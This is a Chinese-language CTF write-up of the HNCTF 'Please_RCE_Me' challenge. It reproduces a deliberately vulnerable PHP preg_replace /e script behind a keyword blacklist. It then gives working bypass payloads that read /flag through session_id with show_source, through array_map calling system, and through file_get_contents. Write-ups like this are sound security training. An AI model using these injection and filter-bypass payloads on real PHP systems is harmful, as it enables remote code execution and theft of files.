hnctf

Please_RCE_Me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if($_GET['moran'] === 'flag'){
highlight_file(__FILE__);
if(isset($_POST['task'])&&isset($_POST['flag'])){
$str1 = $_POST['task'];
$str2 = $_POST['flag'];
if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){
die('hacker!');
}else{
preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
}
}
}else{
echo "moran want a flag.</br>(?moran=flag)";
}
1
strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2

使用大小写绕过

1
preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);

preg_replace() /e代码执行漏洞

过滤了很多,尝试无参RCE

1
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));//查看根目录文件

找到flag文件

payload:

1
2
3
4
task=show_source(session_id(session_start()));
&flag=Please_give_me_flag

Cookie: PHPSESSID=/flag

另外几种RCE方式

1
task=array_map($_POST['a'],$_POST['b'])&a=system&b[]=cat /flag&flag=Please_give_me_flag
1
2
3
http://hnctf.yuanshen.life:33183/?moran=flag&1=/flag

task=print(file_get_contents($_GET[1]));&flag=please_give_me_flAg

学到的新姿势

查阅可以进行RCE的函数,发现还有一个array_map()可以使用

array_map()需传入两个参数,第一个参数为使用的函数,第二个参数为一个数组,并且数组的数据为函数的参数

arr = array(‘phpinfo()’);

array_map(‘assert’,arr);就可以执行phpinfo()


hnctf
http://example.com/2024/05/13/比赛/hnctf/
作者
Englobe
发布于
2024年5月13日
许可协议